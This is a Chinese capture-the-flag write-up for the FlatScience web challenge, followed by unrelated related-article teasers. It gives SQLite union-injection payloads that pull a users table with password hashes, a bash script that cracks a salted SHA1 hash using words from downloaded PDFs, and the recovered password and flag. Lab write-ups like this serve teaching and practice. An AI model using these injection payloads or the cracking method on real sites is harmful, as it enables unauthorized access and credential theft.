CTF 攻防世界 Web: FlatScience write-up
题目名称-FlatScience
网址 index 目录中没有发现提示信息，链接会跳转到论文。
目前没有发现有用信息，尝试目录扫描。
目录扫描
注意到存在 robots.txt 和 login.php。
访问 robots.txt
这里表明还存在 admin.php
admin.php 分析
在这里尝试一些 sql 注入提交，但是不能成功，显然被过滤了。
网页代码中发现有不要尝试绕过的提示。
这里可以先暂时放一放，看看其他页面。
login.php 分析
先尝试 sql 注入
admin' or 1=1 #返回了报错，而且数据库是 sqlite.
尝试注入
admin' or 1=1 --+结果又跳回到了 index.html 目录。
查看网页代码，发现有提示参数 debug
加上 debug 参数后，网页显示出 php 源代码：
<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"><html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
</head>
<body><div align=right class=lastmod>
Last Modified: Fri Mar 31:33:7 UTC 1337
</div><h1>Login</h1>Login Page, do not try to hax here plox!<br><form method="post">ID:<br><input type="text" name="usr"><br>Password:<br> <input type="text" name="pw"><br><br><input type="submit" value="Submit">
</form><?php
if(isset($_POST['usr']) && isset($_POST['pw'])){$user = $_POST['usr'];$pass = $_POST['pw'];$db = new SQLite3('../fancy.db');$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");if($res){$row = $res->fetchArray();}else{echo "<br>Some Error occourred!";}if(isset($row['id'])){setcookie('name',' '.$row['name'], time() + 60, '/');header("Location: /");die();}}if(isset($_GET['debug']))
highlight_file('login.php');
?>分析代码可以发现：
（1）sql 注入点就是在 urs 参数，方式为 admin' --
（2）密码与 "Salz!" 进行拼接并做了加盐处理。
（3）如果查询到了结果，用户名会被设置到 cookie 中，并重新返回到根目录。
这里就证明了我们开始的注入方法是正确的，而且 cookie 中可以看到用户名查询结果，下一步就可以利用 sql 注入结合返回的 cookie 值进行爆表了。
SQL 注入
admin' union select name,sql from sqlite_master --
这里发现 cookie 中没有回显出表信息，可能是因为查询到存在的 admin 被回显出来了，可以直接把 admin 去掉再尝试：
' union select name,sql from sqlite_master --
将得到的结果用 url 解码：
Users 表中的字段有 id；name；password；hint 几个值。
通过下面的语句爆破出它们的值
' union select id,id from Users limit 0,1--
' union select id,name from Users limit 0,1--
' union select id,password from Users limit 0,1--
' union select id,hint from Users limit 0,1--可以得到第一列的结果如下：
| id | name | password | hint |
| 1 | admin | 3fab54a50e770d830c0416df817567662a9dc85c | my fav word in my fav paper?! |
把限制改为 limit 1,1 和 limit 2,1 可以得到下面两行的结果，但是本题用第一行的信息就足够了。
密码爆破
根据源码我们已经清楚了密码生成方式，即正确密码与字符 "Salz!" 拼接后用 sha1 处理后存储到数据库中。根据 hint 中的提示，这句话可以在首页源码中找到：
in my fav paper 指向链接中的论文，提示中说明了密码很有可能就是论文中的某一个单词。
使用 wget 命令递归的把网址上 pdf 文件下载到本地，然后再读取出文件中的每一个单词，进行加密，把加密结果与哈希值进行对比。
脚本如下：
#!/bin/bash
wget http://61.147.171.105:50766/ -r -np -nd -A .pdf
salt="3fab54a50e770d830c0416df817567662a9dc85c"
found=false
for f in *.pdf; dowhile read -r word; docomb="${word}Salz!"hs=$(echo -n "$comb" | sha1sum | awk '{print $1}')if [ "$hs" == "$salt" ]; thenecho "[+] Find word: $word"found=truebreakfidone < <(pdftotext "$f" - | tr -c '[:alnum:]' '[\n*]')if [ "$found" = true ]; thenbreakfi
done
if [ "$found" = false ]; thenecho "[-] Find nothing!"
fi
注意使用命令 pdftotext 需要安装 poppler-utils：
sudo apt-get install poppler-utils成功找到密码：
flag
把用户 admin 和密码 ThinJerboa 在 admin.php 中提交登录，得到 flag。
flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}相关文章：
CTF 攻防世界 Web: FlatScience write-up
题目名称-FlatScience 网址 index 目录中没有发现提示信息，链接会跳转到论文。 目前没有发现有用信息，尝试目录扫描。 目录扫描 注意到存在 robots.txt 和 login.php。 访问 robots.txt 这里表明还存在 admin.php admin.php 分析 在这里尝试一些 sql…...
【SpringBoot中MySQL生成唯一ID的常见方法】
SpringBoot中MySQL生成唯一ID的常见方法 在Spring Boot中，为MySQL生成唯一ID有多种方式，每种方式都有其特定的概念、优越点和使用场景。以下是详细的说明和代码示例： UUID 概念: UUID（Universally Unique Identifier࿰…...
使用Flink CDC实现 Oracle数据库数据同步的oracle配置操作
使用Flink CDC实现 Oracle数据库数据同步的oracle配置操作，包括开启日志归档和用户授权。 flink官方参考资料： https://nightlies.apache.org/flink/flink-cdc-docs-master/zh/docs/connectors/flink-sources/oracle-cdc/ 操作步骤： 1.启用…...
c++作业7
模拟一个游戏场景 有一个英雄：初始所有属性为1 atk,def,apd,hp 游戏当中有以下3种武器 长剑Sword： 装备该武器获得 1atx，1def 短剑Blade： 装备该武器获得 1atk，1spd 斧头Axe： 装备该…...
vue 上传组件 vxe-upload 实现拖拽调整顺序
vue 上传组件 vxe-upload 实现拖拽调整顺序，通过设置 drag-sort 参数就可以启用拖拽排序功能 官网：https://vxeui.com/ 图片拖拽排序 <template><div><vxe-upload v-model"imgList" mode"image" multiple drag-sor…...
Windows 环境实战开源项目GFPGAN 教程
GFPGAN GFPGAN（Generative Facial Prior-GAN）是由腾讯ARC（Applied Research Center）开发的一种实用的真实世界人脸修复算法。它专门设计用于人脸图像的生成和优化，尤其在低质量人脸图像的超分辨率恢复方面表现出色。以…...
UE5 做简单的风景观光视频
A、思路 新建摄像机，关卡序列， 镜头试拍录制器，新建镜头轨道，拖入摄像机， 变换，设置多个关键帧，改变摄像机在场景中的位置， 完成后，导出即可。 B、参考图...
k8s服务搭建与实战案例
Kubernetes（K8s）作为一个开源的容器编排平台，广泛应用于现代的云原生应用架构中。以下是一些常见的 **Kubernetes 实战案例**，包括从基础部署到高级应用场景的使用。通过这些案例，可以更好地理解 K8s 的运作原理和最佳…...
JavaScript学习难点
一、语法的灵活性 动态类型： JavaScript 是一种动态类型语言，这意味着变量的类型可以在运行时改变。这与静态类型语言（如 Java、C）形成鲜明对比，在静态类型语言中，变量的类型在编译时就已经确定。 例如&am…...
Qt WORD/PDF（一）使用 QtPdfium库实现 PDF 预览
文章目录 一、简介二、下载 QtPdfium三、加载 QtPdfium 动态库四、Demo 使用 关于QT Widget 其它文章请点击这里: QT Widget 姊妹篇: Qt WORD/PDF（一）使用 QtPdfium库实现 PDF 操作 Qt WORD/PDF（二）使用 QtPdfium库实现…...
解决创建laravel项目，使用国外镜像超时，国内镜像缺包的问题
解决创建laravel项目，使用国外镜像超时，国内镜像缺包的问题 一、前言二、切换镜像三、创建最新版本四、创建指定版本 一、前言 最近想下载 laravel 框架看看，但也遇到了些麻烦，这里做个记录。 二、切换镜像 先查看镜像源&#…...
Java泛型设计详解
引言 在日常Java开发中，泛型是一个非常重要的特性。它提供了编译时的类型安全检查，增强了代码的可读性和可维护性。然而，对于初学者甚至一些有经验的开发者来说，泛型的使用和理解仍然是一个挑战。本文旨在深入探讨Java泛型的诞生…...
用ue5打开网址链接
需要用到 Launch URL 这个函数 字面意思就是打开填写的链接网页 这里填写的是百度，按下Tab键后就会打开百度的网页...
【大数据】-- 读放大和写放大
目录 一、定义 1. 读放大（Read Amplification） 定义 原因 优化方法 2. 写放大（Write Amplification） 定义 原因 优化方法 对比与联系 二、举例 1. Hadoop（HDFS） 读放大 写放大 2. Flink 读放大 写放大 3. Hive 读放大 写放大 4. Presto 读放大 写放…...
【前端】JavaScript 抽取字符串特定部分题目详解与实现思路
博客主页： [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: 前端 文章目录 💯前言💯题目描述💯核心步骤与实现解析1. 分割字符串为数组（split 方法）2. 使用 filter 提取名字（偶数索引判断）3. 使…...
CNCF云原生生态版图-分类指南（一）- 观测和分析
CNCF云原生生态版图-分类指南（一）- 观测和分析 CNCF云原生生态版图-分类指南一、观测和分析（Observability and Analysis）（一）可观测性（Observablility）1. 是什么？2. 解决…...
热更新解决方案3 —— xLua
概述 xLua框架导入和AB包相关准备 xLua导入 其它的导入 C#调用Lua 1.Lua解析器 using System.Collections; using System.Collections.Generic; using UnityEngine; //引用命名空间 using XLua;public class Lesson1_LuaEnv : MonoBehaviour {// Start is called before the fi…...
如何让ai在游戏中更像一个人？
开题开了一整年是我没想到的，还因此延毕了……我重新梳理一下我想做的研究以及相关痕迹。 我2023年3月找到的导师。起初我发现了在玩RTS游戏中会出现很多固定的套路，选手为此要做大量的练习，我就在想如何把这部分内容借助状态机这种流程给…...
websocket_asyncio
WebSocket 和 asyncio 指南 简介 本指南涵盖了使用 Python 中的 websockets 库进行 WebSocket 编程的基础知识，以及 asyncio 在异步非阻塞 I/O 中的作用。它提供了构建高效 WebSocket 服务端和客户端的知识，以及 asyncio 的特性和优势。 1. 什么是 WebS…...
如何在NGINX中实现基于IP的访问控制（IP黑白名单）？
大家好，我是锋哥。今天分享关于【如何在NGINX中实现基于IP的访问控制（IP黑白名单）？】面试题。希望对大家有帮助； 如何在NGINX中实现基于IP的访问控制（IP黑白名单）？ 1000道 互联网大…...
Y3编辑器文档4：触发器1（界面及使用简介、变量作用域、入门案例）
文章目录 一、触发器简介1.1 触发器界面1.2 ECA语句编辑及快捷键1.3 参数设置1.4 变量设置1.5 实体触发器1.6 触发器复用 二、触发器的多层结构2.1 子触发器（在游戏内对新的事件进行注册）2.2 触发器变量作用域 三、入门案例3.1 使用触发器实现瞬间移动3.…...
echarts图表自定义配置（二）——代码封装
下图是初版，火山图的代码。可以看出，里面的变量，逻辑，函数存在冗余，基本上都是改了参数，同样的get和set，去刷新图表；对于往后继续开发十几二十个图表，会很麻烦。因此需要…...
02、10个富士胶片模拟的设置
二色彩 1、色彩的加减控制全局的饱和度增减； 2、色彩效果只提升暖色系饱和度； 3、FX蓝色大幅度提升蓝色系饱和度； 4、三个参数都不改变颜色的色相。 2.1 色彩 色彩调整的是拍摄画面整体的色彩饱和程度 2.2色彩效果 调整的是画面中暖色…...
鸿蒙系统-前端0帧起手
鸿蒙系统-前端0帧起手 先search 一番 找到对应的入门文档1. 运行项目遇到问题 如下 （手动设计npm 的 registry 运行 npm config set registry https://registry.npmjs.org/）2.运行后不支持一些模拟器 配置一下（如下图，运行成功&am…...
211-基于FMC的1路1.5G ADC 1路 2.5G DAC子卡
一、板卡概述 FMC-1AD-1DA-1SYNC是我司自主研发的一款1路1G AD采集、1路2.5G DA回放的FMC、1路AD同步信号子卡。板卡采用标准FMC子卡架构，可方便地与其他FMC板卡实现高速互联，可广泛用于高频模拟信号采集等领域。 二、功能介绍 2.1 原理框图 2.2 硬件…...
获取微信用户openid
附上开发文档：https://developers.weixin.qq.com/doc/offiaccount/OA_Web_Apps/Wechat_webpage_authorization.html 开发之前，准备事项 一个已认证过的服务号|基本信息配置js域名和网站授权域名配置最后确认当前账号网页授权功能是否开通，没有开通的无法获取到用户授权开发人…...
MultiRECloudSim使用
MultiRECloudSim使用 简介 MultiRECloudSim是一个用于云计算环境下的模拟器相关工具，它主要用于模拟和评估云计算中的资源分配、任务调度等多种场景。它可能是基于CloudSim这个基础的云计算模拟器进行扩展而来，CloudSim提供了基本的云计算模拟功能，如数据中心、虚拟机、任务…...
智能设备安全-固件逆向分析
固件逆向分析实验报告-20241022 使用固件常用逆向分析工具，对提供的固件进行文件系统提取，并记录逆向分析实验过程，提交实验报告（报告要求图文并茂，对涉及到的关键步骤附截图说明）。具体任务如下࿱…...
【小白包会的】使用supervisor 管理docker内多进程
使用supervisor 管理docker内多进程 一般情况下，一个docker是仅仅运行一个服务的 但是有的情况中，希望一个docker中运行多个进程，运行多个服务，也就是一个docker容器执行多个服务。 调研了一下，发现可以通过**super…...
使用navicat新旧版本，连接PostgreSQL高版本报错问题图文解决办法
使用navicat新旧版本，连接PostgreSQL高版本报错问题图文解决办法 一、问题现象：二、出现原因三、解决方法：1、升级Navicat版本：2、使用低版本的postgreSQL：3、修改Navicat的dll二进制文件：navicat版本15nav…...